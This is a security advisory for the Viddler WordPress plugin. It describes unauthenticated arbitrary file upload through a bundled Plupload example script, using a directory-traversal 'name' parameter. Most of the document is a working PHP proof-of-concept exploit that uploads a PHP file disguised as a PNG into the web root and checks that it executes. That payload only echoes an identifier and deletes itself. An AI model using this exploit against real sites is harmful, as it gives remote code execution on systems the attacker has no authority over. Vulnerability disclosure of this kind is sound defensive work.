Viddler WordPress plugin [Unauthenticated Arbitrary File Upload]

Description

Plugin includes an example script from the Plupload library that allows unauthenticated users to upload arbitrary files on server.

For this script to work the PHP directive upload_tmp_dir must be set and pointing to a directory writable by the user that runs the script.

Files are uploaded through the $_FILES['file'] param. $_REQUEST["name"] param can be used to perform a directory traversal in order to upload the file in the desired directory.

PoC

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Viddler Wordpress plugin - Unauthenticated Arbitrary File Upload
 *
 * **IMPORTANT** This exploit make the following assumptions:
 * - The PHP directive `upload_tmp_dir` isset and points to `/tmp` dir
 * - WordPress is installed in `/var/www` dir
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\Request;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
}

$identifier = uniqid();
$fileName = $identifier . '.php';

Cli::writeInfo('Sending payload...');

$r = Request::upload(
    Endpoint::pluginsURL() . '/the-viddler-wordpress-plugin/js/plupload/examples/upload.php',
    [ 'name' => "../../var/www/{$fileName}" ],
    [ 'file' => [ 'fileContents' => "<?php echo '{$identifier}';unlink(__FILE__);", 'fileName' => 'image.png', 'contentType' => 'image/png' ] ]
);

if ( ! $r->success || strpos( '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}', $r->body ) === false ) {
    ExitCodes::exitWithFailed( 'Upload failed' );
}

Cli::writeInfo('Validating exploit...');

$r = Request::get(Endpoint::baseURL().'/'.$fileName);

if(!$r->success || $r->body != $identifier){
    ExitCodes::exitWithFailed('Failed to validate upload...');
}

ExitCodes::exitWithSuccess('Exploitation successful!');

Solution

This plugin is no longer available in the WordPress.org website. The last commit in the repo was 3 years ago so most likely it’s abandoned.


INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX